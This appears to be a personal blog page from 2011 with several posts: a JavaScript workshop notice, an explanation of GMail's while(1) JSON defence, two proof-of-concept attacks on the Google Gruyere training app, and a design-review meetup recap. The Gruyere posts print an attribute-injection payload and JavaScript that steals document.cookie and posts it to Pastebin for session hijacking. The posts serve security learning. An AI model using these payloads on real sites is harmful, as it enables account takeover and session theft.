JavaScript at MSU

28 March, 2011 § Leave a comment

This coming Thursday I’ll be giving a talk at the monthly MSU Student Web Authoring Team meeting.

A JavaScript Workshop
Thursday, March 31st
317 Bessey Hall, Michigan State University

I’ll be covering the JavaScript language and its interactions with the DOM from a beginners to intermediate perspective. This will be a hands-on workshop style with a short presentation at the beginning.

Bring your laptop and a good spirit and hopefully you’ll walk away with some new knowledge and appreciation for JavaScript.

I will try to record the presentation portion and make that available here on my blog for those that are unable to attend.

Updated on 4/4/2011: I have uploaded a video of the presentation for your viewing pleasure.

XSS Prevention in GMail

28 February, 2011 § Leave a comment

Many popular web applications use JSON as their data interchange format. The format is very compact, easy for humans to read, and is based on a subset of JavaScript.

I’ll start by showing an example. Consider a website that wants its clients to query the server for the most recent 3 public messages. The client may send a GET query to the following address:

The response can be written as follows:

var messages = [
   {"user": "foo", "m": "I like turtles", "t": 123423550},
   {"user": "bar", "m": "Turtle power!", "t": 1234543245},
   {"user": "baz", "m": "Cowabunga dude", "t": 1234567643}

When requests this JSON feed, it could then run eval() on the source code. Afterwards, it will have a messages object in global scope that it can reference.

This could work out good for GMail, but it can also allow other websites to make the same call. Modern web browsers will not allow asynchronous HTTP requests to cross domain boundaries, so it is easy to think that this is safe. However if the location is added as the src attribute of a script tag, then the browsers will load the content.

To work around this, GMail adds while(1); to the beginning of the JSON response.

When requesting JavaScript through a script tag’s src attribute, the DOM does not give access to modifying the content of the response. This keeps the while(1); present. If a client tries to eval() this JSON request, their browser will simply hang.

Pretty interesting, huh? There still are workarounds that can defeat this, such as setting up a server-side proxy that will make the request and strip the while(1).

If you’re looking for more details, Adobe Labs has a page on their website that covers Preventing the Execution of Unauthorized Script in JSON.

JavaScript Injection proof of concept

26 February, 2011 § Leave a comment

Following up from my previous post about XSS Session Hijacking in Google Gruyere, I decided to write a post covering a JavaScript injection vulnerability.

The color attribute on profiles lack input validation, and thus are susceptible to JavaScript injection. Simply put, this means that a user can edit their profile and insert code that will run on the computers of other users.

Some of the possible uses of this attack would be to:

  • Spam the user with advertisements
  • Increase visits to another website
  • Spread malware

In this proof of concept, I used the following as the “color” setting for my profile:

red' onmouseout='"", "", "height=220,width=450");return false;

The JavaScript for the onmouseout event handler will launch a new popup window that could include spam. This code will be executed if the visitor moves their mouse over my username.

I’ll try to explain the source code above. The HTML that is generated for the page uses single quote characters to specify attributes. Adding a single quote to the setting, appearing after the word “red”, allows arbitrary HTML to be injected within the page. The following code is treated as another attribute for the element, adding an event handler for when a mouse moves on to the element and then leaves the element.

The value of the attribute starts with a single quote and lacks an ending quote. This is because the generation of the HTML will append a single quote to the value. This will allow the generated HTML to remain valid.

To show this in action, I created the following video:

XSS Session Hijacking proof of concept

17 February, 2011 § 6 Comments

I’ve been spending time lately playing with Google Gruyere. I first got introduced to it back when it was called Jarlsberg. After finding all the cross-site scripting vulnerabilities, I thought it would be cool to actually exploit them.

To this day, I had never exploited any of the holes I had found. When disclosing security vulnerabilities, I knew of the potential that a hole could bring with it. While it would be easy to convince myself of the necessity for a fix, I’ve learned it’s much harder to convince others. So I set out on implementing a proof-of-concept for one of the holes in Google Gruyere.

Gruyere allows users to add links to their homepage, however the application doesn’t sanitize the input. Try the following as your homepage and you’ll get a nice alert dialog:


To exploit this, I wrote the following JavaScript:

function a() {
var xhr =new XMLHttpRequest();
var params = 'paste_code=' + document.cookie + '&paste_name=XSS_poc';"POST","",true);
xhr.setRequestHeader("Content-length",params.length + "");

I then used the Google Closure Compiler to compress this JavaScript by over 18% and achieved the final code as follows:

var a=new XMLHttpRequest,b="paste_code="+document.cookie+"&paste_name=XSS_poc";"POST","",true);a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.setRequestHeader("Content-length",b.length+"");a.setRequestHeader("Connection","close");a.send(b);

Prefix the JavaScript code with `javascript:`, and you’re off to the races.

So how does this work? This JavaScript, when executed, will take the document’s cookie and send it to The attacker will then visit and find the cookie by searching for “XSS_poc” on Pastebin.

I then used a Google Chrome extension called Edit This Cookie to change my cookie to be that of the victim. Hitting Refresh on the page now showed that I was logged in as the victim 🙂

I recorded a video of the attack and have embedded it below. The music was created by Kevin MacLeod.

What do you think?

Designing through a fishbowl

30 January, 2011 § 1 Comment

Thursday night was the third IxDA Lansing meeting, held at Second Gear Co-working space in Old Town, Lansing. Davin Granroth gave a talk on his favorite process for page/design reviews.

The process works in three steps:

  1. The designer introduces the user story and the design that was created to accomplish it.
  2. The reviewers critique the design, while the designer takes notes. There is no designer-reviewer interaction (to the point that the reviewers should pretend that the designer is not in the room).
  3. The designer recaps the discussion and asks for clarification on any of the points.

Demo time!

A couple of the attendees brought designs that they had been working on and asked for feedback. We broke in to four groups of four people and walked through the process.

Everyone seemed to be having a great time, and the designers had a lot of praise for the feedback. They often mentioned that people try not to hurt feelings and thus don’t speak their mind. This type of exercise introduced a way to give feedback without hurting people’s egos.

Next up?

Do you want to present at or attend an IxDA Lansing meeting? Visit the IxDA Lansing website to find out when the next meeting will be and who to contact.


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